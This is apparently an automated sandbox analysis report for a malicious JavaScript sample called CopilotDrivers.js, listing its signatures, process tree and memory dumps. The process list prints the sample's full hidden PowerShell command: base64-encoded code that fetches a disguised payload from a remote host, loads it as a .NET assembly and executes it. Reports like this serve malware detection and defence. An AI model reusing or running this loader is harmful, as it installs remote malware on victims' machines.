Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20251223-en - resource tags
- submitted
25/12/2025, 12:44
General
- Target CopilotDrivers.js
- Size 3.9MB
- Sample251225-pyqphavjen
- SHA256 1e09010334a0759862dc748e4dd2a78110603bdb6731495ead2c5d6fd64ba597
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 39 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\CopilotDrivers.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABzAHcAaQBuAGUAcwB0AG8AbgBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAdwBpAG4AZQBzAHQAbwBuAGUALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJABzAHcAaQBuAGUAcwB0AG8AbgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAcwB3AGkAbgBlAHMAdABvAG4AZQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABtAG8AbgBvAGQAYQBjAHQAeQBsAGEAdABlACAAPQAgACcAaAB0AHQAcAA6AC8ALwBoAG8AcwB0AHAAaABwAHcAaQBuAGQAbwB3AHMAYQBwAHAAcwAuAHkAZABuAHMALgBlAHUAOgA4ADAAMQAxAC8ATQBTAEkALwBvAHAAdABpAG0AaQB6AGUAZABfAE0AUwBJAC4AcABuAGcAJwA7ACQAZABvAGwAcABoAGkAbgBhAHIAaQB1AG0AIAA9ACAAJABzAHcAaQBuAGUAcwB0AG8AbgBlAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AbwBuAG8AZABhAGMAdAB5AGwAYQB0AGUAKQA7ACQAaABlAHAAdABhAGgAeQBkAHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAbwBsAHAAaABpAG4AYQByAGkAdQBtACkAOwBpAGYAIAAoACQAaABlAHAAdABhAGgAeQBkAHIAYQB0AGUAIAAtAG0AYQB0AGMAaAAgACcAQgBhAHMAZQBTAHQAYQByAHQALQAoAC4AKgA/ACkALQBCAGEAcwBlAEUAbgBkACcAKQAgAHsAIAAgACQAcABvAGwAeQBzACAAPQAgACQAbQBhAHQAYwBoAGUAcwBbADEAXQA7ACAAIAAkAGwAbwBjAG8AZABlAHMAYwByAGkAcAB0AGkAdgBlACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHAAbwBsAHkAcwApACkAOwAgACAAJABhAHIAZwBzAEIAYQBzAGUANgA0ACAAPQAgACcASgB3AEEAOQBBAEYARQBBAFMAQQBCAGwAQQBEAEEAQQBOAFEAQgBUAEEARwBFAEEAZAB3AEEANQBBAEQASQBBAFUAUQBCADIAQQBFAFUAQQBSAHcAQgBrAEEARwB3AEEAUQBnAEIAdQBBAEcATQBBAGEAQQBCAE8AQQBFAGMAQQBUAFEAQgA1AEEARgBVAEEAVQB3AEIAWgBBAEQASQBBAFYAZwBCAFgAQQBHAFEAQQBUAHcAQQA1AEEASABrAEEAVwBnAEEASwBBAEEAMABBAGUAUQBBADUAQQBHADAAQQBUAEEAQgA2AEEARABVAEEAUgB3AEIAYQBBAEgASQBBAFQAZwBCAFgAQQBHAFEAQQBhAHcAQQAxAEEASABrAEEAVwBnAEIANQBBAEQAawBBAGIAUQBCAE0AQQBIAG8AQQBOAFEAQgBIAEEARgBvAEEAYwBnAEIATwBBAEYAYwBBAFoAQQBCAHIAQQBEAFUAQQBVAHcAQgBoAEEASABvAEEAVABnAEIASQBBAEcATQBBAGQAdwBCAEcAQQBEAEkAQQBZAHcAQgA1AEEARgBZAEEAYgBRAEIAawBBAEgAQQBBAFMAZwBCAEkAQQBGAG8AQQBlAGcAQgBrAEEARABNAEEAWQBnAEIAcgBBAEQAVQBBAFYAdwBCAGgAQQBEAE0AQQBRAGcAQgBJAEEARwBFAEEAZAB3AEIAUwBBAEQATQBBAFkAdwBCADIAQQBHAGcAQQBNAGcAQgBNAEEASABZAEEAYgB3AEIARQBBAEcATQBBAE0AQQBCAFMAQQBFAGcAQQBZAFEAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBCAEQAQQBEAG8AQQBYAEEAQgBWAEEASABNAEEAWgBRAEIAeQBBAEgATQBBAFgAQQBCAFEAQQBIAFUAQQBZAGcAQgBzAEEARwBrAEEAWQB3AEIAYwBBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEIAegBBAEYAdwBBAEoAdwBBAHMAQQBDAGMAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAZgBBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEAVABRAEIAegBBAEcASQBBAGQAUQBCAHAAQQBHAHcAQQBaAEEAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBCAE4AQQBIAE0AQQBZAGcAQgAxAEEARwBrAEEAYgBBAEIAawBBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcAUQBBAGEAUQBCAHoAQQBHAE0AQQBiAHcAQgB5AEEARwBRAEEAWQBRAEIAdwBBAEgAQQBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB2AEEARwBFAEEAZABBAEIAMABBAEcARQBBAFkAdwBCAG8AQQBHADAAQQBaAFEAQgB1AEEASABRAEEAYwB3AEEAdgBBAEQARQBBAE0AUQBBADQAQQBEAEUAQQBNAHcAQQAzAEEARABnAEEATwBRAEEAdwBBAEQASQBBAE0AUQBBAHgAQQBEAFkAQQBNAEEAQQB4AEEARABZAEEATQBnAEEAeQBBAEQASQBBAEwAdwBBAHgAQQBEAFEAQQBNAHcAQQA0AEEARABjAEEATQBnAEEAeQBBAEQAWQBBAE4AQQBBADAAQQBEAEkAQQBNAGcAQQB6AEEARABVAEEATwBRAEEAdwBBAEQAUQBBAE0AdwBBAHcAQQBDADgAQQBjAHcAQgBvAEEARwBrAEEAYgBRAEEAdQBBAEcAbwBBAGMAdwBBAC8AQQBHAFUAQQBlAEEAQQA5AEEARABZAEEATwBRAEEAeABBAEQAYwBBAFoAUQBCAGgAQQBEAFkAQQBNAEEAQQBtAEEARwBrAEEAYwB3AEEAOQBBAEQAWQBBAE8AUQBBAHgAQQBEAFkAQQBPAFEAQQA0AEEARwBVAEEATQBBAEEAbQBBAEcAZwBBAGIAUQBBADkAQQBHAFUAQQBNAEEAQgBrAEEARABJAEEAWQBnAEIAaABBAEcARQBBAFkAdwBBADEAQQBEAEkAQQBZAFEAQQA0AEEARwBFAEEAWgBnAEEAMQBBAEcASQBBAE4AZwBCAGwAQQBHAFEAQQBPAFEAQQAwAEEARABBAEEATgBRAEEAeQBBAEcATQBBAFoAZwBBADEAQQBEAFEAQQBPAEEAQQB6AEEARABZAEEAWgBRAEEAeQBBAEcAVQBBAFkAZwBBAHgAQQBHAE0AQQBNAFEAQgBpAEEARABBAEEATwBRAEIAbQBBAEQAYwBBAE4AZwBBADAAQQBEAGsAQQBOAFEAQQAzAEEARABNAEEAWgBRAEIAbQBBAEQAVQBBAE0AUQBBAHkAQQBEAFUAQQBZAFEAQgBsAEEARABBAEEATQBBAEIAbABBAEQAQQBBAFoAUQBBADUAQQBEAFkAQQBKAGcAQQBuAEEAQwB3AEEASgB3AEIARABBAEQAbwBBAFgAQQBCAFYAQQBIAE0AQQBaAFEAQgB5AEEASABNAEEAWABBAEIAUQBBAEgAVQBBAFkAZwBCAHMAQQBHAGsAQQBZAHcAQgBjAEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQgB6AEEARgB3AEEASgB3AEEAcwBBAEMAYwBBAFQAZwBCAGgAQQBHADAAQQBaAFEAQgBmAEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAEoAdwBBAHMAQQBDAGMAQQBhAGcAQgB6AEEAQwBjAEEATABBAEEAbgBBAEQARQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEAVgBBAEIAaABBAEgATQBBAGEAdwBCAGYAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEASgB3AEEAcwBBAEMAYwBBAE0AUQBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBBAD0APQAnADsAIAAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAHIAZwBzAEIAYQBzAGUANgA0ACkAKQA7ACAAIAAkAGEAcgBnAHMAIAA9ACAAJABhAHIAZwBzAFMAdAByAGkAbgBnACAALQBzAHAAbABpAHQAIAAnACwAJwAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AVAByAGkAbQAoACcAJwAnACIAJwAgACkAIAB9ADsAIAAgAFsAUwBvAGYAdAB3AGEAcgBlAC4AUAByAG8AZwByAGEAbQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAiAE0AYQBpAG4AIgApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAYQByAGcAcwApADsAfQA=')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jcvk23i3.x5m.ps1
memory/2136-0-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-1-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-2-0x000001D475590000-0x000001D4755B2000-memory.dmp
memory/2136-9-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-10-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-11-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-12-0x000001D476D90000-0x000001D476DA0000-memory.dmp
memory/2136-14-0x000001D476FA0000-0x000001D477010000-memory.dmp
memory/2136-15-0x000001D4774B0000-0x000001D477672000-memory.dmp
memory/2136-16-0x000001D477BB0000-0x000001D4780D8000-memory.dmp